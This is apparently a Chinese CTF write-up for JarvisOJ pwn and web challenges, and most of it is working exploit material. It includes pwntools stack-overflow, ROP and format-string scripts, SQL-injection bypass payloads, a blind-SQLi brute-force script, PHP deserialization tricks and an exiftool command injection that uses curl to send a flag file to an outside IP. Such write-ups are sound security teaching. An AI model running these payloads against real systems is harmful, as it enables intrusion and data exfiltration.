Fork me on GitHub

JarvisOJ

Pwn

[XMAN]Level0

程序中存在callsystem函数,栈溢出改返回地址即可

Vuln:

ssize_t vulnerable_function()
{
char buf; // [sp+0h] [bp-80h]@1
return read(0, &buf, 0x200uLL);
}

Exp:

from pwn import *
pwn_file = "level0" # pwn题文件
binary = ELF(pwn_file)
#libc = ELF('')
context.terminal = ['tmux', 'splitw', '-h']
if args['REMOTE']:
io = remote('127.0.0.1', 12345)
elif '-g' in sys.argv[1:]:
io = process(pwn_file)
gdb.attach(io)
else:
io = process(pwn_file)
offset = 136
address = binary.symbols['callsystem']
io.recv()
payload = 'A' * offset + p64(address)
io.send(payload)
io.interactive()

[XMAN]level2(x64)

Vuln:

ssize_t vulnerable_function()
{
char buf; // [sp+0h] [bp-80h]@1
system("echo Input:");
return read(0, &buf, 0x200uLL);
}

Exp:

from pwn import *
pwn_file = "level2" # pwn题文件
binary = ELF(pwn_file)
#libc = ELF('')
context.terminal = ['tmux', 'splitw', '-h']
if args['REMOTE']:
io = remote('pwn2.jarvisoj.com', 9882)
elif '-g' in sys.argv[1:]:
io = process(pwn_file)
gdb.attach(io)
else:
io = process(pwn_file)
offset = 136
binshAddress = 0x0000000000600a90
poprdi = 0x00000000004006b3
systemAddress = binary.plt['system']
io.recv()
payload = 'A' * offset + p64(poprdi) + p64(binshAddress) + p64(systemAddress)
io.send(payload)
io.interactive()

[XMAN]level3(x64)

Vuln:

ssize_t vulnerable_function()
{
char buf; // [sp+0h] [bp-80h]@1
write(1, "Input:\n", 7uLL);
return read(0, &buf, 0x200uLL);
}

Exp:

offset = 136
vuln = binary.symbols['vulnerable_function']
writePlt = binary.plt['write']
writeGot = binary.got['write']
poprdi = 0x00000000004006b3
poprsi = 0x00000000004006b1
io.recv()
payload = 'A' * 136 + p64(poprdi) + p64(1) + p64(poprsi) + p64(writeGot) + p64(0) + p64(writePlt) + p64(vuln)
io.send(payload)
writeAddress = u64(io.recv(8))
log.success('writeAddress:' + hex(writeAddress))
io.recv()
systemAddress = writeAddress + libc.symbols['system'] - libc.symbols['write']
binshAddresss = writeAddress + libc.search('/bin/sh').next() - libc.symbols['write']
log.success('systemAddress:' + hex(systemAddress))
log.success('binshAddress:' + hex(binshAddresss))
payload = 'A' * offset + p64(poprdi) + p64(binshAddresss) + p64(systemAddress)
io.send(payload)
io.interactive()

Test Your Memory

Exp:

offset = 23
vulnAddress = binary.symbols['mem_test']
winPlt = binary.symbols['win_func']
io.recv()
payload = ''.ljust(offset,"A") + p32(winPlt) + p32(0x80487e0) + p32(0x80487e0)
io.sendline(payload)
io.interactive()

Tell Me Somethine

Exp:

io = remote("pwn.jarvisoj.com",9876)
payload = '\x00'*136 + p64(0x0000000000400620)
io.recvuntil("message:\n")
io.sendline(payload)
print sh.recv()

Smashes

Vuln:

SSP(Stack Smashing Protector):

__stack_chk_fail 中的__fortify_fail在被触发栈保护时,会输出程序名称,这个参数从栈上得到,将此位置覆盖为flag地址即可输出flag的值.

PS:环境变量问题在攻击远程时并没有遇见,可能出题者忘记设置了

__int64 func()
{
__int64 v0; // rax@1
__int64 v1; // rbx@2
int v2; // eax@3
__int64 name; // [sp+0h] [bp-128h]@1
__int64 canary; // [sp+108h] [bp-20h]@1
canary = *MK_FP(__FS__, 40LL);
__printf_chk(1LL, "Hello!\nWhat's your name? ");
LODWORD(v0) = _IO_gets(&name);
if ( !v0 )
LABEL_9:
_exit(1);
v1 = 0LL;
__printf_chk(1LL, "Nice to meet you, %s.\nPlease overwrite the flag: ");
while ( 1 )
{
v2 = _IO_getc(stdin);
if ( v2 == -1 )
goto LABEL_9;
if ( v2 == 10 )
break;
byte_600D20[v1++] = v2;
if ( v1 == 32 )
goto LABEL_8;
}
memset((void *)((signed int)v1 + 6294816LL), 0, (unsigned int)(32 - v1));
LABEL_8:
puts("Thank you, bye!");
return *MK_FP(__FS__, 40LL) ^ canary;
}

Exp:

root in ~/Desktop/tmp λ python -c 'print "A"*536 + "\x20\x0d\x40\x00\x00\x00\x00\x00" + "\n" + "A"'|nc pwn.jarvisoj.com 9877
Hello!
What's your name? Nice to meet you, AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA@.AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
Please overwrite the flag: Thank you, bye!
*** stack smashing detected ***: PCTF{57dErr_Smasher_good_work!} terminated

Guess

TODO

[61dctf]fm

Vuln

int __cdecl main(int argc, const char **argv, const char **envp)
{
int result; // eax@3
int v4; // edx@3
int v5; // [sp+2Ch] [bp-5Ch]@1
int v6; // [sp+7Ch] [bp-Ch]@1
v6 = *MK_FP(__GS__, 20);
be_nice_to_people();
memset(&v5, 0, 0x50u);
read(0, &v5, 0x50u);
printf((const char *)&v5);
printf("%d!\n", x);
if ( x == 4 )
{
puts("running sh...");
system("/bin/sh");
}
result = 0;
v4 = *MK_FP(__GS__, 20) ^ v6;
return result;
}

Exp

payload = p32(0x0804A02C) + "%11$n"
io.send(payload)
io.interactive()

Web

神盾局的秘密

文件读取,访问 http://web.jarvisoj.com:32768/showimg.php?img=c2hvd2ltZy5waHA=

<?php
$f = $_GET['img'];
if (!empty($f)) {
$f = base64_decode($f);
if (stripos($f,'..')===FALSE && stripos($f,'/')===FALSE && stripos($f,'\\')===FALSE
&& stripos($f,'pctf')===FALSE) { //stripos()查找字符串在另一串字符串中的位置
readfile($f);
} else {
echo "File not found!";
}
}?>访问http://web.jarvisoj.com:32768/showimg.php?img=aW5kZXgucGhw 读取index.php中函数<?php
require_once('shield.php');
//require_once()语句在脚本执行期间包含并运行指定文件(通俗一点,括号内的文件会执行一遍)。
$x = new Shield();
isset($_GET['class']) && $g = $_GET['class'];
if (!empty($g)) {
$x = unserialize($g);//unserialize() 将已序列化的字符串还原回 PHP 的值
}
echo $x->readfile();
?>

访问http://web.jarvisoj.com:32768/showimg.php?img=c2hpZWxkLnBocA==

<?php
//flag is in pctf.php
class Shield {
public $file;
function __construct($filename = '') {
$this -> file = $filename;
}
//通常构造方法被用来执行一些有用的初始化任务,如对成员属性在创建对象时赋予初始值。//function __constrct([参数列表]){//方法体//通常用来对成员属性进行初始化赋值//}
function readfile() {
if (!empty($this->file) && stripos($this->file,'..')===FALSE
&& stripos($this->file,'/')===FALSE && stripos($this->file,'\\')==FALSE) {
return @file_get_contents($this->file);
}
}
}
?>

pctf.php序列化值为 O:6:"Shield":1:{s:4:"file";s:8:"pctf.php";}

访问 http://web.jarvisoj.com:32768/index.php?class=O:6:%22Shield%22:1:{s:4:%22file%22;s:8:%22pctf.php%22;}

Login

查看http头 Hint:"select * fromadminwhere password='".md5($pass,true)."'"

‘“.md5($pass,true).”‘类注入

Simple Injection

首先确定用户名为admin,采用分步验证的方式

E.g

$sql = "select password from users where username='$username'"$result = mysql_query($sql);if($result) {
$row = mysql_fetch_row($result);
$query_password = $row[$password];
//对输入的$password进行变形
$input_password = modify($passowrd);
if($input_password == $query_password) {
echo "登陆成功";
} else {
echo "密码错误";
}
} else {
echo "用户不存在";}

admin测试发现对#注释符未过滤,使用payload能够被执行 username=a'/**/or/**/1=1#&password=123

1

总结应该是个盲注.查询相关表 列,构造正确sql语句查询password,使用mysql中exists函数

EXISTS代表存在量词∃。带有EXISTS谓词的子查询不返回任何数据,只产生逻辑真值“true”或者逻辑假值“false”。

- username=a'/**/or/**/exists(select/**/*/**/from/**/admin)#&password=123确定有表admin
- username=a'/**/or/**/exists(select/**/username/**/from/**/admin)#&password=123 username=a'/**/or/**/exists(select/**/password/**/from/**/admin)#&password=123 确定有username,password列
- username=user'/**/or/**/exists(select/**/count(*)/**/from/**/admin)#&password=123456探测只有一项纪录??
- username=1'/**/or/**/(select/**/length(password)/**/from/**/admin)>32#&password=admin密码长度是32位

username=a’//or//……..or前要为错误的,使得or后成立与否会返回不同只,若or前正确

爆破确定password值

import requests
def get_data():
result = ""
url = 'http://web.jarvisoj.com:32787/login.php'
payload = {
"username":'xx',
"password":1,
}
username_template = "'/**/or/**/ascii(substr((select/**/password/**/from/**/admin),{0},1))>{1}#"
chars = '0123456789@ABCDEFGHIJKLMNOPQRSTUVWXYZ_abcdefghijklmnopqrstuvwxyz'
for i in range(1,33):
for char in chars:
char_ascii = ord(char)
username = username_template.format(i,char_ascii) #format格式化字符串,i代替username_template中{0},char_ascii代替{1}
payload['username'] = username
response = requests.post(url,data=payload)
length = len(response.text)
# print(length)
#返回的长度只有1191和1192
if length>1191:
print(char)
result += char
break
print(result)
get_data()

得到passowrd 334cfb59c9d74849801d5acdcfdaadc3,结合以上猜测,此数值应为md5加密后的数值,构造payload如下

username=user'/**/union/**/select/**/'c4ca4238a0b923820dcc509a6f75849b'#&password=1

c4ca4238a0b923820dcc509a6f75849b为1的md5值

Please use port 51 to visit this site.

需要在vps上执行,网络端口转发问题,端口在经过路由之后会改变

In a mess

右键查看源码得到hint

<!--index.phps-->work harder!harder!harder!

查看index.phps得到源码

if(!$_GET['id']) { header('Location: index.php?id=1'); exit(); }
$id=$_GET['id'];
$a=$_GET['a'];
$b=$_GET['b'];
if(stripos($a,'.')) { echo 'Hahahahahaha'; return ; }
$data = @file_get_contents($a,'r');
if($data=="1112 is a nice lab!" and $id==0 and strlen($b)>5 and eregi("111".substr($b,0,1),"1114") and substr($b,0,1)!=4)
{ require("flag.txt"); }
//eregi — 不区分大小写的正则表达式匹配
//substr(string,start,length)返回字符串的一部分。
//"111". 字符串叠加
else { print "work harder!harder!harder!"; }
?>

下一关

<!--index.phps-->Come ON!!! {/^HT2mCpcvOLf}

得到注入点 空格 /1/绕过 双写绕过

- /%5eHT2mCpcvOLf/index.php?id=0/*1*/ununionion/*1*/selselectect/*1*/1,2,3# 3可控制
- /%5eHT2mCpcvOLf/index.php?id=0/*1*/ununionion/*1*/selselectect/*1*/1,2,database()# 库名tset
- /%5eHT2mCpcvOLf/index.php?id=0/*1*/ununionion/*1*/selselectect/*1*/1,2,group_concat(table_name)/*8*/frfromom/*8*/information_schema.tables/*8*/where/*8*/table_schema=database()# 表名content
- information_schema库 保存了MySQL服务器所有数据库的信息
- /%5eHT2mCpcvOLf/index.php?id=0/*1*/ununionion/*1*/selselectect/*1*/1,2,group_concat(column_name)/*8*/frfromom/*8*/information_schema.columns/*8*/where/*8*/table_name=0x636f6e74656e74 获得列名id,context,title
- table_name= content的十六进制

payload:

/%5eHT2mCpcvOLf/index.php?id=0/*1*/ununionion/*1*/selselectect/*1*/1,2,group_concat(context,-,title)/*8*/frfromom/*8*/content

  • 图片上传采用图片马绕过,应该是对文件后缀及文件头的监测
  • index?page= 文件包含漏洞,服务端会自动加上php采用%00截断绕过
  • 图片码中采用绕过

Phpinfo

参考:

<?php
//A webshell is wait for you
ini_set('session.serialize_handler', 'php'); //是指序列化引擎
session_start();
class OowoO
{
public $mdzz;
function __construct()
{
$this->mdzz = 'phpinfo();';
}
function __destruct()
{
eval($this->mdzz);
}
}
if(isset($_GET['phpinfo']))
{
$m = new OowoO();
}
else
{
highlight_string(file_get_contents('index.php'));
}
?>

通过传入phpinfo,$flag="CTF{4d96e37f4be998c50aa586de4ada354a}";

图片上传

通过exiftool注入label标签给一张正常的png

./exiftool-label="\"|curl 106.187.45.41:9999 -F 'file=@/home/ctf/flag.txt'; \"" 2.png -o t.png

上传图片后获得的文件名

POST /upload.php?path=/tmp/&filesize=100&filetype=show&image=1486821802.png

返回包中出现笑脸表示命令执行成功

Upload: t.png<br />Size: 6.5146484375 Kb<br />Temp file: /opt/lampp/temp/phpx4sZjk<br />Stored in: uploads/1486821831.png:)

PS:

  • 命令如果执行失败会返回哭脸。nc都失败

Upload: t.png<br />Size: 0.26953125 Kb<br />Temp file: /opt/lampp/temp/phpbDp7YG<br />Stored in: uploads/1486823617.png:)

Misc

TODO

参考

veritas501
Jarvisojpwnwriteup